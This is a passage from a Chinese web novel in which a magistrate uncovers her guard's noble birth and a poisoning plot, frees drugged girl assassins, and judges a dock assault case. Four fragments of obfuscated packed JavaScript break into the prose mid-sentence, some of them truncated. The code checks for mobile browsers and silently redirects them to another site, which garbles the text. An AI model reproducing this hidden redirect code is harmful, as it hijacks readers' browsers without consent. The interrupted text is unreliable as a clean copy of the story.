见孟荀和杜羽都投来疑惑的眼神,云水谣犹豫片刻,还是把自己之前的一些猜测跟她们说了。包括景佑可能是镇国公元祁的儿子,雍州长史元澄的兄弟。还有元澄、林御史甥舅俩很有可能是花钱让百尺楼杀手追杀景佑的人。所以之前云水谣才会让景佑去杜羽的军营暂时躲避。 孟荀不敢相信:“阿谣,我觉得这些猜测过于离奇了。” 杜羽却有不同看法:“我见过镇国公元祁很多次,景佑长得确实跟他很相似,他自己的儿子元澄反而跟他没什么相似之处。” 孟荀道:“但也不能因为长得相似,就断定他们有血缘关系吧?” “如果仅凭长相,自然不能断定。可是,结合其他事,比如元澄和林益敬都有些防备景佑,他们见到景佑后,景佑又遭到了追杀。种种事情,可以断定这其中一定有一些不寻常的联系。云县令的猜测,倒也不是没有道理。” “可是,如果景佑真的是镇国公的儿子,为何会流落在外?元澄和林御史为何要杀他?” “这一切,恐怕只有见到镇国公,才有答案。” 云水谣有些为难:“我也想让景佑去镇国公府看看,只是没有机会。他现在是我的下属,我尚且不能随意回京,何况是他。” 杜羽想了想,道:“太后的千秋节快到了,我上表给皇上,请求进京为太后祝寿。若皇上同意,我便可以带着景佑进京,暗中调查他的身世。太后是我的亲外祖母,想必皇上会同意的。” 云水谣喜道:“那就多谢杜将军了。” 杜羽戏谑一笑:“你怎么谢?” “我……不知杜将军喜欢什么?我可以买了送给您。” 杜羽意味深长地说:“我喜欢什么,你迟早会明白的。” 孟荀打了杜羽一下,道:“表哥,阿谣求你做点事,你就向她要礼物?我看你要点脸吧!” 杜羽哈哈一笑,便把这个话题揭过去了。 由于百尺楼总坛的人已经逃了,再留在这里也没有意义,她们便各自回去了。 景佑仍旧跟着杜羽回金缕营。 云水谣回到洛县后,见监察御史林益敬竟然还未离开。 林益敬见到云水谣后,道:“云大人这些日子去哪里了?” “其他县的县官邀我见面,共商治理经验,所以我离开了几天。” “擅离职守,可不是什么好事啊。像这种交流会,不过是互相吹捧、浪费时间罢了。” “林御史教训得是。” “对了,你身边那个护卫,好像叫景佑的,去哪里了?” “他本是江湖游侠,估计是受不了拘束,悄悄离开了,连我也不知道他去哪了。林御史为何关心他?” “不过是随口一问。叨扰许久,我也该走了。” 林御史要走,众人自然又是一番忙碌,准备践行宴,又送他一些土特产当做礼物。 云水谣越发怀疑这林御史不对劲,他何以特意问起景佑呢?以他的身份来说,似乎不该关心一个县官身边护卫的去向。他这样做,可谓是欲盖弥彰了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907784|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看来,查明景佑的身世,揭穿林御史、元澄的阴谋,刻不容缓。 几天后,杜羽来信,说皇帝已经同意他进京为太后祝寿。他会带上景佑,到时候就可以暗中查景佑的身世了。 云水谣心中稍宽,这事总算有了一些进展。 之前俘虏的一些女杀手,已经在洛县和卫县两地服劳役了。云水谣和孟荀放出风声,说她们是之前失踪的女孩,如果百姓家中曾有女孩失踪的,可以来辨认。 这段时间,还真有一些百姓从其他地方赶来找女儿,但大部分都无功而返。 只有其中几个女杀手被家人认出,可女杀手们已经忘记以前的事,也不认家人,不肯跟家人回去。 云水谣让那些百姓想办法唤醒女儿的记忆,可各种方法都试了,还是不奏效。 虽然遗憾,但那些寻到女儿的百姓也只能暂时回去,带不走女儿。 这日,云水谣来到衙门,还未进去,就看见徐二妞、四妞姐妹俩来了,还带来自家种的新鲜蔬菜水果。 四妞道:“大人,多谢您帮忙找到我姐姐,我家太穷,没什么东西孝敬您的,这些瓜果蔬菜是新摘的,还请您收下。” 云水谣微笑着摸了摸四妞的头,道:“谢谢你们,我正想要吃新鲜蔬菜瓜果呢。对了,二妞回家之后,过得如何?” 徐二妞和四妞脸色都有些不好看。随即徐二妞勉强笑道:“还行,谢谢大人关心。” 四妞却说:“根本不是这样……” 徐二妞扯了扯妹妹的胳膊,示意她别说了。 云水谣却关切道:“到底怎么样?四妞,你来说。” 四妞有些委屈地说:“我爹娘看见二姐回来,不怎么高兴,说家里又要多一张嘴吃饭了。二姐说起这些年在外面受苦的事情,爹娘根本不感兴趣,也不安慰她。这段时间以来,二姐在家的笑容越来越少,话也越来越少。爹娘还怪我,说我不该多事,把二姐找回来。” 云水谣怒道:“竟有这种事?” “我现在也不知道找二姐回来到底对不对……可是如果二姐不回来,她就要一直在王家受罪,将来还要成为杀人工具……” 云水谣安慰道:“你做得对,在家受父母的冷言冷语,总比在外面当杀人工具要好。二妞,你年纪也大了,不如去找一份工作,补贴家用,这样你父母应该就没意见了。” 徐二妞道:“我也是这么想的,正在找呢。我练武多年,力气大,能吃苦,应该是很好找工作的。” “嗯,若有什么困难,你们尽管来县衙找我。” 徐二妞道:“大人,我还想起一件事。” “何事?” “那个失忆药好像只管一段时间,每隔半年,我们都要重新服用一次失忆药。以前王大兴跟我们说,这是补身体的药,所以我们都没有防备,喝了下去。” 云水谣十分惊喜:“照这么说,之前俘虏的那批女杀手,只要不继续服用失忆药,就能恢复记忆?” “应该是如此。” “太好了。距你们上一次服用失忆药有多久了?” 27. 国公府波谲云诡 世子爷清新俊逸 “大概四个月。” 云水谣算了一下,只需再过两个月,那批在服劳役的女孩们便能回想起自己的身世,那么找到自己家也是很容易的。 云水谣心里的一块石头落了地。 她把这个好消息飞鸽传书告诉孟荀。 时间又过了一个月。 这段时间,云水谣一直记挂着景佑那边的事,不知道如何了。可是京城那边始终没有消息传回来,她只能等着。 这天,云水谣在去往衙门的路上,忽然听见一声马嘶。 她回头一看,见一匹高大的枣红色乌骓马停在她跟前,看起来十分矫健名贵。马上坐着一个华服男子,一身黑衣上绣着金线,其上隐隐有复杂的纹路,腰间系着一条金腰带,垂挂着一条丝绸宫绦,上面系着几颗天蓝色的宝石。 这华服男子肩膀上还围着白狐皮,头上系着一条红色的细发带,戴着金冠,看起来像是来郊游的贵族子弟。 只是,云水谣却觉得他的相貌有些熟悉。 马上之人看着云水谣,笑道:“大人不认识我了?” 云水谣惊呼道:“景佑!你怎么……” “大人,我现在叫元景佑了。” 云水谣想了想,忽然笑道:“所以,你真的是镇国公元祁的儿子?” “对。” 景佑翻身下马,跟云水谣一起走进大堂,然后把这些天发生的事情告诉了她。 景佑跟随杜羽进京之后,先扮成杜羽身边的亲卫,并用面具遮脸。杜羽的亲卫都戴面具,所以景佑这样打扮也不突兀,其他人也发现不了景佑。 太后千秋节那天,杜羽带着景佑一起出席,却发现镇国公元祁没到场。 杜羽便问镇国公为何没来,得知镇国公竟已病了好几个月了,起不来床,也不见客。满朝大臣,竟是无人在近期见过他。 杜羽当时便起了疑心,因此请求太后下一道懿旨,在内宫单独举办一次宴会,召朝中三品以上大臣家的外命妇都来参加。 镇国公夫人也在参加之列。 镇国公夫人离开家后,杜羽和景佑便偷偷潜入镇国公府。 杜羽以前曾来过镇国公府几次,对那里的布局比较熟悉。他们一路躲开巡逻的家兵,寻找镇国公。 一连找了几十间屋子后,他们才在一间很简陋的房间里找到了镇国公元祁。他早已没有以前的风采,睁着一双眼睛,却说不出话来,像是中风了。 但杜羽仔细观察才发现,镇国公不是中风,而是中毒。而镇国公一看见景佑,就非常激动,眼中还有泪光。他向景佑伸出了手,景佑走上前去,镇国公竟抱住了景佑。 当时杜羽判断,镇国公应该是知道什么,便问道:“国公爷,您现在不能说话,我问您问题,如果是,您就眨一下眼睛,如果不是,就眨两下。” 接着,杜羽问道:“是您夫人给你下的毒吗?” 镇国公眨了一下眼睛,表示赞同。 杜羽又问:“景佑是不是您的儿子?” 镇国公又眨了一下眼睛。 杜羽和景佑对视一眼,都很惊讶。但这个结果,也算是意料之中。 杜羽接着问:“景佑是不是小妾所生,所以从小就被送出去了?” 镇国公却眨了两下眼睛,表示否定。 杜羽有些奇怪,问道:“那景佑的母亲是谁?难道是您以前娶的妻子?” 镇国公又眨了两下眼睛。 杜羽和景佑都猜不出真相。按理说,如果景佑从小就被送走,那他一定是被镇国公夫人所忌惮,镇国公夫人容不下他,所以镇国公才偷偷送走他。 可是现在,镇国公接连否定,那景佑的生母究竟是谁? 可惜镇国公现在没法回答问题,景佑认为,还是先把镇国公的毒解了,也许真相就大白了。 于是,他们两人把镇国公带到了宫中,让太医诊治,并通知太后,拘押镇国公夫人。 镇国公夫人见自己的夫君竟被救出来了,当场吓得脸色发白。这不是一个正常的反应,所以当时就引起了其他人的怀疑。 太后派人审问她,但是镇国公夫人抵死不说。 而镇国公元祁经过太医的医治,在半个月后就能开口说话了。 而他说出的真相,令所有人都震惊。 原来,景佑就是镇国公夫人亲生的大儿子。雍州长史元澄是她的小儿子,也就是景佑的亲弟弟。 可是镇国公夫人李氏并不喜欢景佑这个大儿子,因为景佑的父亲是镇国公。 李氏当年嫁给镇国公,实则是看中了他的身份地位,而她心里喜欢的另有其人,便是她的表哥林益敬,也就是现在的监察御史。 李氏嫁进镇国公府后,先生了景佑。但她一直在跟自己的表哥林益敬私-通,后来怀上的小儿子元澄是她表哥的孩子,不是镇国公亲生的。 这事被她和林益敬瞒得死死的,镇国公一直不曾发现。 本来按照惯例,镇国公府的世子应该是大儿子景佑。可是李氏希望自己和表哥的孩子继承镇国公府,于是便谎称景佑夭折,实际上偷偷把他送了出去。 其实依林益敬的意思,是直接杀了景佑,永除后患。可是李氏毕竟是景佑的亲娘,舍不得真杀了孩子,便把景佑放在一座道观门口。她知道那里的道士为人热心,肯定会好好抚养景佑长大。 而她对表哥林益敬的说辞,却是已经把大儿子景佑杀了。林益敬也一直不知道景佑还活着。 景佑没了,李氏的次子元澄便被立为世子。而李氏和林益敬的阴谋也达成了。 林益敬虽出身大族,家中也有爵位,却轮不到他继承。他为了让自己的后代有爵位,便想出这条毒计。他让自己青梅竹马的表妹李氏嫁入镇国公府,再与她私-通,生下儿子元澄。 元澄能继承镇国公府的爵位,也弥补了林益敬的遗憾。 本来一切天衣无缝,但后来镇国公元祁还是发现了端倪。元澄越长大,越像自己的表舅林益敬,后来甚至有九分相像。 镇国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907785|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公一开始没有怀疑,只觉得外甥像舅,也很正常。可是一来,他发现元澄跟自己竟无半分相似之处;二来,李氏的亲兄弟,也就是元澄的亲舅舅们,跟元澄都只有五六分相似,可林益敬一个表舅竟能跟外甥有九分相似,简直是一个模子刻出来的,不能不让人起疑。 而且,镇国公还回想起,自己娶了李氏这些年,林益敬来拜访得特别勤,而且经常跟李氏单独相处,就连李氏自己的父母、亲兄弟都没来得这么勤。 再加上,林益敬一直对元澄特别好,就像对亲儿子似的,各种礼物、奇珍异宝都往元澄房里送。就算林益敬有钱又大方,可他明明有关系更近的子侄,却对表妹的孩子这么好,确实很奇怪。 俗话说一表三千里,镇国公自己跟表姐妹们来往都不多,对她们的孩子也只是面子情而已,没多大感情。 种种可疑之事累加,终于让镇国公产生怀疑。 他开始偷偷调查元澄的身世,竟发现元澄是自己的妻子和她表哥林益敬私-通所生。而他自己的大儿子景佑,被送到了道观,这么多年一直流落在外。 得知真相后,镇国公怒不可遏。可是元澄已经前往雍州做官,他没法找元澄出气,便叫来夫人李氏,把一切和盘托出,大骂了她一顿。 李氏一开始很惊慌,后来又用放低身段,谈及自己跟镇国公的多年情分,还说元澄的事,是自己被表哥诱骗。既然东窗事发,她愿意把景佑接回来,让景佑当世子,她和元澄会离开镇国公府。 听见李氏这样说,镇国公又心软了。他对李氏毕竟还是有感情的,当年他对李氏一见钟情,非卿不娶,这么多年心意都未曾变化。 因此,他告诉李氏,只要把景佑接回来,让他接替世子之位,李氏和元澄还是可以继续留在镇国公府,他会把元澄当亲儿子看待,只要李氏不再跟表哥林益敬来往便是。 李氏答应了,偷偷去找表哥林益敬说这件事。林益敬这才知道李氏的大儿子还活着。他不同意把景佑接回来,说自己和李氏才是真爱,他们俩的儿子元澄不能输给别人,必须是国公府世子。 他让李氏给镇国公下毒,这样镇国公口不能言,国公府的大权就落入李氏手中。到时候谁当世子,自然是李氏说了算。 李氏有些挂念一直在外的大儿子,可林益敬极力劝说,李氏终于打消了念头。只因景佑一旦被接回来,就比元澄更有资格当世子。 元澄才是李氏看着长大的,这么多年她没有抚养过景佑,对景佑的感情自然差些。 而且一旦把景佑接回来,他会怨恨母亲抛弃自己,母子俩的关系不会好。要想安享晚年,还是跟着元澄养老比较好。 在种种理由之下,李氏接受了林益敬的提议,给镇国公下毒,掌握了国公府的大权。对外只说镇国公重病,不能见客。 林益敬在李氏面前说,会留景佑一命,从此井水不犯河水。实际上他却跟元澄商议,非杀了景佑不可。 他们打听到景佑的下落,便买通百尺楼的杀手追杀景佑。 28. 景佑舒舒如月魄 杜羽皎皎似日华 第一次追杀时,景佑奋力逃脱,被云水谣所救。杀手们、元澄、林益敬都找不到景佑的去向,只得暂时搁置。 没想到,云水谣后来为了调查少女失踪案,来雍州府看档案,恰好跟雍州司马元澄会面。 元澄发现景佑成了云水谣的护卫,便找机会安排第二次暗杀。 而云水谣托元澄查的卷宗,正跟百尺楼有关。百尺楼在许多州县掳走少女,培养成杀手,元澄是知道的。而且元澄就是他们的保护伞之一。 所以,他自然帮着隐瞒,只说其他县没有类似的少女失踪案,让云水谣、孟荀回去。 回去的路上,元澄便再次通知百尺楼,让他们去追杀景佑。 为了让景佑落单,杀手们派一个人偷走云水谣的衣服并穿上,让另一个人假装挟持假云水谣,并让景佑看见。景佑为了救假云水谣,被一路引到空旷处,杀手们对他进行第二次追杀。 没想到,第二次也没杀死他。 元澄这边接连失利,林益敬决定自己来查看情况。他利用自己的职权之便,来洛县监察政务,装出一副颐指气使的模样,让云水谣放松警惕,认为他只是个草包。 实际上他一直在找机会重新刺杀景佑。 正好云水谣还在调查少女失踪案,他就干脆让百尺楼的人掳走洛县的一个少女,并让云水谣知道。云水谣果然派景佑和其他士兵一起追踪,杀手们再略施小计,让景佑落单,然后围攻景佑。 那次本来快要成功了,但云水谣突然出现,利用芭蕉林的沥青救走了景佑,两人躲在悬崖中间,逃脱了杀手的追踪。 然后,云水谣猜出了景佑的身份,让他躲进杜羽的军营中。林益敬又失去了景佑的踪迹,但又不能明着打听,所以便把这事暂时搁置。 一切真相大白,皇帝恢复了景佑的身份,让他成为镇国公府的世子,认祖归宗,改名元景佑。 镇国公夫人李氏企图混淆国公府血脉,把景佑丢在外面二十多年不闻不问,还给镇国公下毒,被关进女狱,终身不得出。 林益敬、元澄试图谋夺镇国公府,还多次刺杀镇国公府的真世子元景佑,被夺去官职,流放岭南。 元景佑身份高贵,可以以恩荫封官。皇帝问他要不要代替元澄成为雍州长史,但元景佑拒绝了。 一方面他不想当恩荫官,想以自己的本事做官。另一方面他已经习惯了跟在云水谣身边,便请求皇帝,让他继续当云水谣的护卫。 皇帝说以元景佑的身份,不可屈尊为护卫,但元景佑说,自己愿意从低做起,以功勋累进官爵,这样才能服众。不管职位高低,都只是在其位、谋其政而已,只要尽心尽力,其实并无高下之分。 皇帝赞同元景佑的话,便让他继续当云水谣的护卫长,官职从九品下。皇帝还承诺,若是他不想当这种小官了,便可随时回京,安排一个更好的职位。 于是,元景佑就快马驱驰,回到了洛县见云水谣。 听完这些跌宕起伏的经历,云水谣又是感慨,又是动容。 她对景佑说道:“原来你的身世如此曲折,镇国公夫人是你的亲生母亲,竟也忍心将你送走。” 元景佑黯然道:“她心里只有她表哥林益敬,对我爹根本没感情,连带着也不喜欢我。” “还好现在一切都恢复了。只是我习惯了叫你景佑,以后还这样叫吧。” “随大人方便。” 以前叫景佑,是连名带姓;现在叫他景佑,却是只叫名字,听起来更亲近一层。想到这一点,云水谣脸色微红,但随即想道,自己只是根据以前的习惯称呼他而已,没有别的意思。 云水谣又问:“皇上让你当雍州长史,你为何拒绝?” “大人对我有救命之恩,我还是更想留在大人身边。” 云水谣内心涌起一丝欣喜,但是又有几分愧疚:“其实,你不用这样做的。若是惦记着救命之恩,你给我买几件礼物也就是了。” 景佑有些着急:“大人要赶我走?” “我不是这个意思……那你就留下吧,只是我可不敢使唤镇国公府的世子。” “大人,您还是把我当普通人就好。” 云水谣看着他的华服,笑道:“你穿成这样,算什么普通人?” “是我爹让我穿的,那我去把这身衣服换掉……” “哎,别换,这样看着还挺贵气的,以后就这么穿吧。你如今的衣服倒跟杜羽将军差不多,只是没他那么夸张,他恨不得把金银珠宝全挂身上呢。” 这时,门外传来一个爽朗的声音:“我不在,就说我坏话,不太好吧?” 说着,杜羽走了进来。他今日穿着一身月白色圆领袍,外面穿一件藏蓝色大袖衫,头戴银冠,腰悬碧玉,手上戴着几个名贵的宝石戒指,看起来雍容潇洒,儒雅清贵。 他跟景佑站在一起,一个神采飞扬,如日之朗;一个沉静安详,如月之舒,可谓是平分秋色,各有千秋。 云水谣笑道:“杜将军,我可没说你坏话,而是夸你贵气天成,人所不及。” 杜羽笑道:“我就说不能跟文官辩论,她们总有这么多说辞,正话反话都让她们说了。” “杜将军说笑了。这次景佑能恢复身份,还要多谢您的帮忙。” “口头感谢就完了?不请我吃饭吗?” “自然要请的,那我就在来宾楼设宴,现在先去预定。” “不用这么麻烦,随便去街上逛逛,看哪家有空就去哪家吧。” 虽然云水谣觉得这样不够隆重,不过杜羽这么说了,那就按照他的意思来。 于是,她们三人走到街上,选了一家环境清幽、人也不多的饭馆,点了几样招牌菜。 杜羽又点了红枣银耳羹、板栗乌鸡汤、桂圆莲子粥、菠菜炒猪肝,放在云水谣面前。 “云大人,这些菜适合女孩吃,可以补气血。这段时间你操劳少女失踪案,殚精竭虑,脸色差了不少。” “谢谢,我都没注意。” 云水谣愉快地吃着,觉得味道很好。 一顿饭结束,杜羽便要返回金缕营了。他要练兵,不能耽搁太久。 云水谣和元景佑在街上闲逛片刻,云水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907786|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣好奇地看着路边摊子上的东西,元景佑忽然道:“大人,我有空也学一些做菜的知识,就知道什么菜适合你吃了。” “啊?怎么突然这么说?” “我只是觉得,我从小在山间长大,什么都不懂,对大人疏于照顾。” “没有啊,你武功高强,我觉得你很厉害。” “我还有很大的进步空间。” 云水谣看元景佑有些蔫蔫的,忽然想起刚才在酒楼,杜羽选了几样补气血的菜给云水谣吃。景佑该不会是因此自卑了吧?也许他觉得他的知识比不上杜羽。 云水谣笑着安慰他:“每个人都有自己擅长之处和不擅长之处,不需要跟别人比。你只需要把武功练得更好些,对我帮助就很大了。毕竟我可是要靠你保护的。” 元景佑脸色微红:“大人,我一定会更加努力。” 又过了一个月,那些被俘虏的女杀手由于失忆药失效,都回想起了自己的出身来历。她们大部分都是被拐卖的,想起了自己的家乡在何处,便跟云水谣说要回家。 云水谣便放她们走了。她们有的来自附近州县,有的来自很远的地方。云水谣根据她们离家的远近,给她们不同的路费。并且她们这段时间服劳役的工钱,也全都给她们。 女孩们向云水谣道了谢,便各自返乡了。 看着她们一个个归心似箭的样子,云水谣鼻子一酸。这些女孩离开家乡太久了,而且一直被喂以失忆药,连自己的家乡和亲人都不记得,着实可怜。 好在现在总算拨云见日,希望她们都能各自安好。 孟荀那边的女杀手也是一样的情况,孟荀把卫县的那批女杀手也放了。 她们以书信沟通这件事,都感慨救出来的女孩还是太少了。以后有机会,还是要寻找百尺楼新的总坛,解救更多女孩。 这天,云水谣来到衙门,发现有二十几个码头工人来告状。他们全都鼻青脸肿的,有的还断胳膊断腿,看起来很狼狈。 云水谣问道:“你们是被人打了?” 有个口齿伶俐的工人道:“没错,大人,是一个不讲道理的码头女工把我们打成这样的,请大人为我们主持公道!” “是被一个女工打的?她一个人打你们二十多个?” “对,她也不知道是从哪学来的拳脚功夫,总之我们都打不过她!实在是太可恶了,青天白日的,还有王法吗?” 云水谣问道:“打伤你们的人叫什么名字?现在何处?” “她叫徐二妞,打伤我们后就跑回家了。” “什么?” 竟然是徐二妞……会是云水谣认识的那个徐二妞吗? 云水谣有些惊疑,让衙役去把打人的徐二妞缉拿归案。 没过多久,徐二妞被带了过来。云水谣一看,正是自己认识的那个徐二妞。她妹妹四妞也跟在后面,一脸委屈。 当下顾不得叙旧,云水谣严肃地拍了拍惊堂木,问徐二妞:“徐二妞,这些码头工人状告你打人,你可认罪?” 徐二妞一脸倔强:“人是我打的,但我不认罪。” 29. 码头工人自讨打 护卫首领喜添人 “为何?” “有罪的是他们,是他们先欺负我的。” “当时是什么情况,从实说来。” 徐二妞的脸红了又白,白了又红,犹豫了许久,才说道:“大人,自从我被解救回家,便想找份工作,后来去码头做了女工。谁知我去了之后,码头上的一些男工打听到了我这些年的经历,便频频调戏我。他们说我离家多年,一定是在外面做娼.妓,还说我因长得太丑才被青楼赶回来。他们说不嫌弃我长得丑,只要我愿意伺候他们,就帮我干活,还给我钱。 “我一开始不想生事,就一忍再忍,每天干好自己分内的活,就拿工钱走人。可是今日,他们将我围住,欲行不轨。情急之下,我才打了他们。他们被打了,气不过,便说之前我妹妹四妞去外地找我,其实也是投奔我一起做娼.妓去了,现在姐妹俩都被赶回来。我气得头脑发昏,便又打了他们一顿,所以他们才伤成这样。这是他们自己讨打,怪不得我。” 云水谣听了,气得手抖,勉强稳住心神,问那些码头工人:“是这样吗?” 谁知,工人们纷纷否认: “不是,这娘们胡说!” “就是,我们怎么可能看上她!” “她是为了脱罪才编造这些瞎话的!” 徐二妞气愤道:“你们才说谎!” 云水谣道:“码头人来人往的,去找找有没有证人。” 很快,衙役们带回几个证人。 他们都说,这段日子曾见到徐二妞被男工调戏,但徐二妞都只是走开而已。至于今天早上男工们是否围住徐二妞,欲行不轨,他们则没有看到。 徐二妞道:“这些男工是串通好的,他们今日早晨故意跟我说,有个大活需要很多工人,问我要不要去。我说要去,他们便把我带到僻静的巷子里,想欺辱我。由于那个地方偏僻,没有目击证人。” 男工们纷纷喊道: “拿不出证据来,就想污蔑我们?” “大人,您千万别被她骗了!” “是啊,我们做苦力的,平时讲话荤素不忌,言语冒犯了她倒是有可能的,但我们绝不敢真的伤害她啊!” 云水谣看向徐二妞:“徐二妞,既然今天的事没有人证,你必须自己想办法证明。” 云水谣心里有些紧张,她怕情况对徐二妞不利。而自己身为县令,也不能明目张胆地偏向她。 徐二妞撸起袖子,露出胳膊,只见她胳膊上有四个手指形状的淤青。 徐二妞高举手臂,对云水谣说道:“大人,我手臂上的淤青,是一个叫赵有才的工人抓的。今天早上我被工人们围住,好几个人都抓着我,就数赵有才抓得最用力,所以我胳膊上留下了淤青。 “只需将他的手指跟这些淤青比对,就知道是不是他抓的。他爹娘是卖韭菜盒子的,每天早上他都是帮爹娘剥了韭菜后,再到码头做工,所以他的手常年有韭菜味。我胳膊上的淤青,也有韭菜味。” 云水谣叫仵作来鉴定痕迹。仵作除了验尸,也可以鉴定活人身上的一些伤痕。 仵作看了徐二妞的手臂和赵有才的手指,又闻了闻气味,道:“大人,情况确实如徐二妞所说,她手上的淤青就是赵有才抓的。而且淤青和赵有才的手指都有一股韭菜味。” 见此情景,工人赵有才抵赖不得,脸色惨白。 其他工人纷纷推脱: “大人,是赵有才干的,不关我们的事!” “是啊,是赵有才想欺辱徐二妞,我们是去劝架的!” 赵有才“呸”了一声,骂道:“你们这群王八羔子,想把责任推到我一个人身上?做梦!” 云水谣问道:“赵有才,你可有证据证明其他工人跟你一起围住徐二妞?” 如果赵有才拿不出证据,那还真的很难定其他工人的罪。 赵有才本来只是个普通人,并不聪明,但现在处于危急关头,如果不能证明其他人跟他同谋,他就要一个人被定罪,罪行会重很多。在这样的压力下,他急中生智,说道:“今天早上好几个工人都拉扯徐二妞了,他们的指甲里可能有徐二妞衣服上扯下来的丝。” 这个细节,工人们都注意不到。现在赵有才提起,云水谣赶紧让人按住其他工人,检查他们的手指甲,果然在手指甲中找到一些衣服的丝线。 经过比对,这些丝线就是徐二妞身上的。 这些工人再也无法抵赖,只能认罪。但他们还是心怀希冀,嚷道:“大人,我们是有错,可是徐二妞打人也有错!” 云水谣怒道:“你们试图伤害她,她不过是自卫而已。你们毫不悔改,还想让她也受罚,简直可恶!来人,将他们每人各打十板,且每人赔偿五钱银子给徐二妞,以后不得再去骚扰。如有再犯,加倍处罚。” 这些工人本就受伤了,又被打板子,简直是雪上加霜,不住地哀嚎。 徐二妞、四妞看着他们受罚,只觉得心中畅快,但难免还是有些委屈。 十板子很快打完,那些工人灰溜溜地赔钱给徐二妞,接着便互相搀扶着离开了。 云水谣宣布退堂,遣散了围观的百姓,然后把徐二妞和四妞请入后堂,给她们喝茶压惊,又让景佑去找些零食来给四妞吃。 云水谣关上门,不让衙役把守,屋内只剩下她和徐家姐妹二人。 接着,云水谣亲自看了看徐二妞的身体,确保她没受什么大伤。 徐二妞感激道:“大人,不用看了,我没事,那些工人根本不是我的对手。” “你身上有一些淤青,我拿点药膏来,你回家涂一下。” “嗯。” 云水谣问道:“你以后还要继续做码头女工吗?” 徐二妞点头:“这是我能找到的最好的工作了。这几年,我在王大兴家受训,学的是武功和乐器。可若是去乐坊或是酒楼弹奏乐器,难免被人骚扰。武馆又不需要女工,我习武多年,力气很大,便去做码头女工了。这一行虽然累点,工钱是不少的。我留下一些私房钱,剩下的交给父母,也能换来他们的好脸色。” “可是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907787|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码头上三教九流的人很多,那些码头工人又没什么素质。尽管经过今天的事,他们可能不敢再动手动脚,但言语上的冒犯恐怕是少不了的。你一个十几岁的女孩,混迹于一群大老粗当中,也很不容易。” “我知道,可是普通人哪有容易的?我虽武功很高,总不能再回百尺楼当杀手吧?既然这条路不能走,我也只能卖力气了。好在码头那边的氛围我已经习惯了,那些工人口头上占点便宜,我就当听不见。大人不知道,我干得可好了,每天能背很多货物,根本不比那些男人差。” 四妞却有些心疼:“可是姐姐这段时间肩膀和手臂被货物磨损,经常流血受伤或是被压出淤青,看着好疼。” 徐二妞笑道:“不疼的,只是看着可怕而已。等再过一段时间,我的肩膀、手臂全都长出厚厚的茧子,就不会被磨破皮了。” 云水谣问道:“你有想过去当护卫或者有钱人家的护院吗?” “我想过,可是人家不要女的。有些乡绅家里招护院,我去应聘,他们直接让我走了。就算我展现高超的武功,他们也不要。还有几个乡绅、富商对我说,我若想做护院也行,但必须成为小妾,白天保卫他们,晚上伺候他们。我自然不会同意,所以这条路也走不通。” 云水谣深刻感受到这个世道对女子的严苛,不免在心中叹息。 她想了想,对徐二妞道:“不如你来我身边当护卫怎么样?我私人聘请你,不需要别人的同意。这样你就不用在码头上辛苦讨生活了。” 徐二妞喜出望外:“真的可以吗?谢谢大人!” 徐二妞想下跪,云水谣赶紧扶住她。 见徐二妞愿意,云水谣便留下她当护卫,工钱也是云水谣发。 徐二妞激动道:“大人,我一定誓死保护您!” 云水谣笑道:“你只需做好分内之事就够了,若是遇到危险,我还是希望你能保重自身。” “大人……” 徐二妞眼含热泪,十分感动。 四妞也十分开心:“太好了,这下姐姐有体面的工作了,还不用跟码头上的臭男人打交道。” 徐二妞笑道:“四妞,你也学一样本领,将来养活自己。” “我会做菜,等我长大了去当厨师怎么样?” “也好啊。” 这时,景佑回来了,拿来一大堆零食,徐二妞和四妞吃得很开心。 云水谣说了收徐二妞当护卫的事,景佑也很赞同,道:“大人把徐二妞交给我就行,以后她就是我的下属了。” 徐二妞起身行礼:“多谢景大人。” 景佑笑道:“我现在姓元。” “为何?” “不为何,因为我爹姓元。” “哈哈,大人真风趣。” “我只是说事实,哪里风趣了?” 景佑一本正经地发问,倒是把云水谣也逗笑了。他虽然没在讲笑话,但有时候自带喜感,非常可爱。 见云水谣笑了,景佑虽有些不解,但也发自内心地开心。 30. 天地悠悠何处容我 人海茫茫暂时寄身 